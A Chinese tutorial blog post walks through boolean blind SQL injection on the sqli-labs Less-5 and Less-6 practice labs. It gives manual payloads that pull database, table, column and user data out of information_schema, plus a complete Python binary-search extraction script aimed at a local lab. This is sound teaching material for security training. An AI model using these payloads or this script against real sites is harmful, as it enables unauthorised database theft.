sqli-labs布尔盲注实战:Less-5与Less-6手工注入到Python自动化全解析
发布时间:2026/9/7 16:17:31来源:尧图网络
sqli-labs做到Less-5之前我一直觉得SQL注入不过如此——前四关用union select一把梭回显点就摆在页面上跟做填空题一样。但到了Less-5和Less-6情况立刻变了你输入什么页面都不会把数据库内容吐出来最多给你一个“有”或者“没有”的二进制信号。这一篇实战笔记我就来完整复盘一下怎么靠布尔盲注把Less-5单引号闭合和Less-6双引号闭合这两关的数据一点点“挤”出来包括最开始的闭合判断、核心payload的构造思路、手工注入的完整流程以及最后用Python脚本自动化提效的全过程。这两关在sqli-labs整个通关路线里是一个明显的分水岭。Less-1到Less-4练习的是联合查询注入Less-5和Less-6开始进入“无回显注入”的领域。布尔盲注作为所有盲注类型里最基础、最能练SQL逻辑思维的一种值得静下心来把它吃透。这篇笔记适合正在刷sqli-labs的初学者也适合那些会用sqlmap但完全不懂盲注原理、想补一补内功的同学。1. 先搞清楚Less-5和Less-6到底和前面几关差在哪1.1 从“有回显”到“无回显”的转变Less-1到Less-4的做法很简单先判断注入点再数一数列数然后直接union select 1,2,3接着把username、password放到对应的回显位置页面就会把数据原样显示出来。核心原因在于这些关卡源码里会把查询结果里的字段值渲染到页面上比如直接echo $row[username]所以union注入的数据能被看见。Less-5和Less-6就不一样了。源码虽然也执行SQL查询但页面输出固定文案不会把查询结果里的字段打印出来。源码逻辑大致长这样$sql SELECT * FROM users WHERE id$id LIMIT 0,1; $result mysql_query($sql); $row mysql_fetch_array($result); if ($row) { echo You are in...........; }注意看这里只判断$row有没有值有数据就输出一句话“You are in...........”没有数据就什么都不输出页面返回空白。不管你的union select怎么构造页面永远只有这两种状态。所以之前练习的联合查询注入在这两关完全使不上劲——不是SQL语句不行而是后端根本没打算把查询结果显示出来。1.2 为什么首选布尔盲注而不是报错注入或时间盲注打Less-5和Less-6其实有三条路可以走报错注入、时间盲注、布尔盲注。我在实战笔记里选择了布尔盲注不是为了显得“硬核”而是从学习性价比和通用性两个角度考虑。报错注入依赖MySQL版本和报错函数。Less-5上用extractvalue或updatexml确实能快速出数据比如?id1 AND extractvalue(1, concat(0x7e, (SELECT database()))) --页面会直接把报错信息显示出来。但这种方法要求MySQL 5.1以上版本而且如果你只是照着payload抄一遍完全不清楚背后的执行逻辑。时间盲注用sleep()函数判断但响应时间受网络波动影响大判断起来没有页面真假那么直观。布尔盲注的思路最朴素通过构造条件让SQL语句整体返回“真”或“假”再根据页面两种状态的差异来收集信息。一旦掌握了布尔盲注的思维后面遇到任何“没有回显”的注入点都能用同一套方法论处理而且这套方法论是理解其他所有盲注技巧的基础。所以我把Less-5和Less-6当成练习布尔盲注的绝佳素材直接用它来练基本功。2. 核心细节闭合方式与布尔盲注的三大基础函数2.1 第一步必须是判断闭合方式注入的第一步永远是搞明白后端SQL到底是怎么拼接的。Less-5和Less-6分别代表两种典型的字符型闭合方式Less-5单引号包裹参数对应SQL为WHERE id$id LIMIT 0,1Less-6双引号包裹参数对应SQL为WHERE id$id LIMIT 0,1判断方法不复杂。对Less-5先提交?id1如果页面空白说明单引号破坏了原本的SQL语法再提交?id1 --如果页面恢复为“You are in”说明后端的SQL变成了SELECT * FROM users WHERE id1 -- LIMIT 0,1这里的--就是SQL注释符--加上一个空格URL里的加号会被解析成空格。注释符后面原本的 LIMIT 0,1全部被注释掉SQL语法正常查询成功。对Less-6把单引号换成双引号即可?id1让页面空白?id1 --让页面恢复显示。这两种情况我都建议用Burp Suite的Repeater来测把payload写在请求里反复修改比在浏览器地址栏里操作方便得多。这里有一个新手很容易踩的坑URL里的#在浏览器地址栏里有特殊含义如果想用#作为注释符必须编码成%23。所以实际测试中最省事的写法就是--在不同的编码环境下都能正常工作。2.2 三个基础函数length、substr、ascii布尔盲注的整套payload都是围绕着三个SQL函数搭起来的length(str)返回字符串长度。比如length(database())得到当前数据库名的字符数。substr(str, pos, len)从第pos位开始截取str的len个字符。注意SQL里的位置从1开始不是编程语言里的0。比如substr(security, 1, 1)结果是s。ascii(char)返回字符的ASCII码值。比如ascii(s)结果是115。把三个函数套起来就有了最核心的盲注判断结构ascii(substr(database(), 1, 1)) 115这个条件的意思是当前数据库名的第一个字符的ASCII码是否等于115如果是页面正常显示“You are in”如果不是页面空白。为什么要用ascii函数因为布尔盲注里页面只回答“真/假”没法直接显示字符本身。你没法直接问数据库“第一个字符是不是s”但你可以问“第一个字符的ASCII码是不是大于100”“是不是小于120”用数字比较的方式逐步缩小范围最后确定目标字符。ASCII表就是布尔盲注的字典把字符转成数字再比较是这套方法能成立的关键。除次之外还有一组替代写法比如用left(database(),1)s直接比较字符串或者用ord(mid(database(),1,1))等价替代。原理都一样选择你顺手的一套即可我个人习惯ascii(substr(...))因为结构统一、方便写脚本模板。2.3 页面真假的判定标准布尔盲注的一切都建立在页面“真/假”两种状态的清晰区分上。实战中我通常用两种方式判断一种是直接用浏览器或Burp看响应内容条件为真时响应体里包含“You are in...........”这段文字条件为假时响应体为空或者明显变短。另一种是看响应体长度真响应和假响应的Content-Length有稳定差异比如真响应135字节、假响应89字节这个差异在自动化脚本里比文本匹配更靠得住。在正式开打之前我强烈建议先做两个基准测试用AND 11确认“真”状态长什么样再用AND 12确认“假”状态长什么样。确认了这两个基准后面的判断才不会跑偏。3. 实操过程手工盲注一步步把数据库信息抠出来3.1 确定数据库名长度手工盲注的第一步总是先确定目标字符串的长度。拿数据库名来举例payload的写法是这样的?id1 AND length(database())1 -- ?id1 AND length(database())2 -- ?id1 AND length(database())3 --从1开始逐个增加数字直到页面从空白变成“You are in”。在sqli-labs默认环境里数据库名是security所以当N等于8时条件成立。这里为什么用等号而不是大于号等号逻辑直白适合手工练习阶段理解概念。到后面写自动化脚本时再用大于号配合二分法做效率优化。建议手工阶段先老老实实用等号把每个字符测出来这个过程能帮你把SQL条件和页面响应之间的关系彻底想清楚。3.2 逐个字符提取数据库名知道长度是8之后开始提取每一个字符。目标是第一个字符判断它的ASCII码?id1 AND ascii(substr(database(),1,1))97 -- ?id1 AND ascii(substr(database(),1,1))98 --这里的97、98分别对应字母a、b的ASCII码。如果页面空白继续加一。当数字加到115时页面显示“You are in”——115对应的正是小写字母s所以数据库名第一个字符是s。然后提取第二个字符把substr第二个参数从1改成2?id1 AND ascii(substr(database(),2,1))101 --页面正常显示101对应小写字母e。后面以此类推第三位是99对应c第四位是117对应u……直到第八位提取完数据库名security完整浮出水面。手工做这个操作会非常繁琐我建议一边测一边把结果做成记录表比盲目猜测可靠得多字符位置目标字符ASCII码页面状态1s115You are in2e101You are in3c99You are in4u117You are in5r114You are in6i105You are in7t116You are in8y121You are in3.3 从数据库名到表名拿到库名security之后下一步是提取这个库里的表名。表名的信息都存在MySQL的系统数据库information_schema里所以查询目标变成了系统表。先确认库里有几张表?id1 AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schemasecurity)3 --当N等于3时页面正常说明security库里有3张表。然后逐表提取表名取第一张表的第一个字符?id1 AND ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schemasecurity LIMIT 0,1),1,1))101 --这个payload看起来长但拆开看其实不复杂。最内层的SELECT table_name FROM information_schema.tables WHERE table_schemasecurity LIMIT 0,1先把第一张表的表名取出来然后substr(...,1,1)截取这个表名的第一个字符接着ascii(...)转成ASCII码最后放到盲注的判断条件里。101对应小写字母e所以第一张表的第一个字符是e。继续提取同一张表的后面字符直到完整表名出现。默认环境里通常能找到emails、referers、uagents、users这几张表。提完第一张表把LIMIT改成1,1、2,1就能依次提取第二、第三张表。3.4 从表名到字段名目标表锁定为users。先确认这张表的字段数量?id1 AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_schemasecurity AND table_nameusers)3 --如果页面正常说明users表有3个字段。然后提取第一个字段名?id1 AND ascii(substr((SELECT column_name FROM information_schema.columns WHERE table_schemasecurity AND table_nameusers LIMIT 0,1),1,1))105 --105对应小写字母i也就是字段名id的第一个字母。继续提取可以确认三个字段分别是id、username、password。这一步等于是把一个关系型数据库的元数据结构完整走了一遍库 → 表 → 字段每一层的提取逻辑完全一致。3.5 提取最终数据字段名到手之后数据提取就变得水到渠成。取users表第一行username字段的第一个字符?id1 AND ascii(substr((SELECT username FROM users LIMIT 0,1),1,1))68 --68对应大写字母D第一条用户名是Dumb。后面把LIMIT改成0,1取第一行改成1,1取第二行配合substr的第二个参数逐字符展开一条条数据就这么被“挤”了出来。这套流程的核心在于无论你要提取什么数据都能统一转换成“从某个SQL查询结果里逐字符取ASCII码”这个模式。只要构造好内层查询外层套上ascii(substr(...))和比较操作符剩下的就是机械劳动了。这也是我为什么说布尔盲注练的不是手速而是拆解SQL查询的能力。4. 脚本自动化手工太慢让Python替我做苦力4.1 为什么要写脚本手工盲注跑通一条完整链路之后我想大多数人的第一反应都是这也太慢了。一个字符一个字符地试一个ASCII码一个ASCII码地猜提取一个小型数据库就得发几百次请求。这个阶段我建议做两件事第一再手工完整走一遍巩固对查询逻辑的理解第二写一个Python脚本把重复劳动自动化。脚本要做的其实就三件事构造payload、发送HTTP请求、根据页面响应判断真假。核心逻辑不复杂难的在于把你的手工判断流程转换成程序逻辑。4.2 二分法提速的原理前面手工阶段我用的全是等号判断一个字符最坏要试几十次。脚本里可以换成二分法效率提升一个量级。ASCII可打印字符的范围是32到126大约95个字符。线性查找最坏要试95次二分查找的思路是先判断目标ASCII码是否大于中间值如果大于答案在右半边否则在左半边。每判断一次候选范围缩小一半。95个字符最多需要ceil(log2(95))次也就是7次请求就能确定一个字符。这对跑大量数据的场景非常重要。二分法的边界处理是新手容易写错的地方。我的写法是这样的初始范围low32, high126取mid(lowhigh)//2用ascii(substr(...)mid作为判断条件如果条件为真说明目标字符的ASCII码大于mid把low更新为mid1如果条件为假说明目标字符的ASCII码小于等于mid把high更新为mid当low等于high时这个值就是目标字符的ASCII码注意这里必须用而不是并且low更新为mid1而不是mid否则会出现死循环。我第一次写脚本的时候就因为边界条件写错卡在了一个字符上循环不出来。4.3 完整的Python盲注脚本以下是我当时用的脚本主体基于requests库判断机制就是响应体里有没有“You are in”这个特征字符串import requests base_url http://127.0.0.1/sqli-labs/Less-5/ marker You are in def is_true(payload): url base_url ?id payload r requests.get(url, timeout10) return marker in r.text def get_length(sql): for i in range(1, 100): payload f1 AND length(({sql})){i} -- if is_true(payload): return i return 0 def get_char(sql, pos): low, high 32, 126 while low high: mid (low high) // 2 payload f1 AND ascii(substr(({sql}),{pos},1)){mid} -- if is_true(payload): low mid 1 else: high mid return chr(low) def get_value(sql, length): value for i in range(1, length 1): value get_char(sql, i) print(f[*] {value}) return value db_len get_length(database()) print(f[] database() length {db_len}) db_name get_value(database(), db_len) print(f[] database() {db_name})这几段代码分别实现发送请求并判断真假、猜测字符串长度、二分法取单个字符、逐字符拼接完整字符串。把内层SQL分别换成SELECT table_name FROM information_schema.tables WHERE table_schemadatabase() LIMIT 0,1、SELECT column_name FROM information_schema.columns WHERE table_schemadatabase() AND table_nameusers LIMIT 0,1就能复用同一套逻辑提取表名和数据。在Less-6上脚本只需要把payload里的单引号闭合改成双引号也就是把1 AND改成1 AND其他逻辑完全不用动。所以Less-6本质上就是Less-5的变体考验的是你能不能看出闭合差异。4.4 脚本实测的几点体会实际跑脚本的时候我发现有几个细节会直接影响成功率。第一个是响应判断的稳定性。用文本匹配marker in r.text简单直接但如果靶机和本机之间有代理或者压缩传输偶尔会漏判。更稳的做法是拿响应长度做判断因为真假响应的Content-Length差异非常固定。第二个是超时和重试。本地靶场一般没问题但如果你的环境延迟不稳定可以在请求外套一层重试逻辑。第三个是编码问题。中文注释、特殊字符的URL编码在不同版本的环境里会有差异统一用requests的params参数传参可以省掉不少编码烦恼。跑完之后脚本能直接把security库里的表名、字段名、数据全部打出来。看着终端刷刷刷地输出字符你会感觉前几十分钟手工测的那些请求全都值回来了。5. 常见问题与排查技巧实录5.1 为什么payload明明没问题页面却一直空白这个问题我在带朋友刷sqli-labs的时候遇到过很多次最常见的三个原因分别是闭合方式搞错、注释符没生效、请求参数被误编码。闭合方式好排查Less-5用单引号、Less-6用双引号交叉测试一下就能确认。注释符没生效一般出现在URL里--在大多数场景下没问题但如果你用了#而没有编码成%23浏览器会在请求发出去之前就把#后面的内容截掉。还有一种情况是直接把payload粘贴到一些自动化工具时空格被替换成SQL里是有实际意义的运算符会导致语法错误。排查这类问题我习惯用Burp的Repeater把原始请求完整看一遍确认URL里的参数确实和预期一致再逐步排查SQL层面的问题。5.2 为什么条件为假时页面依然正常显示如果AND 12都不能让页面变成空白说明你的基准测试就没搞对。最典型的场景是Less-5在某些环境下条件为假时页面依然会输出一段HTML框架只是内容里少了“You are in”。这时候如果你判断的是“页面上有没有内容”而不是“页面上有没有那句特征文本”就会得出错误的结论。建议正式注入前先记录三组数据正常请求的响应内容、AND 11的响应内容、AND 12的响应内容。用特征文本或响应长度差异作为判断依据不要依赖“页面是否完全空白”这种模糊标准。5.3 二分法脚本取错字符怎么定位问题脚本自动跑出来的字符偶尔会和预期不一致通常原因不是算法问题而是请求偶发失败。二分法每一次请求都依赖上一次的判断结果一旦某一次请求超时或者响应被截断后面的判断全部会偏移。解决办法很简单给请求加超时和重试把判断条件改成更稳定的响应长度如果还是出错可以在循环里加一个打印当前low/high的调试输出定位是哪一步的响应出了问题。我在实际写脚本时还做过一次校验逻辑对一个字符用二分法取完之后再用等号精确验证一遍如果不匹配就重新取。虽然多花了一点请求量但准确性提升了不止一个档次。5.4 Less-6和Less-5的差异到底有多大有朋友问我“Less-6会不会比Less-5难很多”实际上盲注逻辑完全一样唯一的区别就是闭合方式。Less-5源码里是WHERE id$idLess-6源码里是WHERE id$id。所以只要把payload里的闭合引号从单引号换成双引号其他全部照搬。在URL里直接传双引号有时候会被浏览器或中间件转义推荐用Burp或者requests库来发请求能避免很多莫名其妙的问题。5.5 一个容易被忽略的观察方法响应长度手工阶段我用的是“有没有出现You are in”来判断真假写脚本之后我换成对比响应长度理由是响应长度更客观。真条件返回的页面长度是固定的假条件少了一段“You are in...........”文字长度差异稳定且容易在代码里比较。如果你用Burp看历史请求会发现真条件和假条件的响应包长度差异一目了然。这个经验在后面的Less-8、Less-9也适用甚至在某些过滤了关键字的场景下响应长度判断会比关键字匹配更可靠。6. 最后分享一点实战体会把Less-5和Less-6完整打下来之后我最大的感受是布尔盲注考的其实是“拆解问题”的能力。无论页面只给你“真/假”这么一点信息只要能稳定区分这两种状态你就能把数据库里的库名、表名、字段名、数据一条一条地还原出来。这个方法论在后面的Less-8单引号布尔盲注里可以继续沿用到了Less-9和Less-10因为页面真假完全无差异需要改用sleep()做时间盲注但逐字符提取的核心思路完全一致。另外说一个手工测试时的小技巧我会开两个终端窗口一个用curl发请求一个开着ASCII码对照表或者直接在Burp的Repeater里把payload模板写好请求之间只改数字比每次重新拼URL快得多。盲注从来不是比手速而是比谁对SQL执行逻辑理解得更透彻。Less-5和Less-6就像是给这个理解过程专门设计的训练场值得多花点时间慢慢磨。
网站建设高端定制企业官网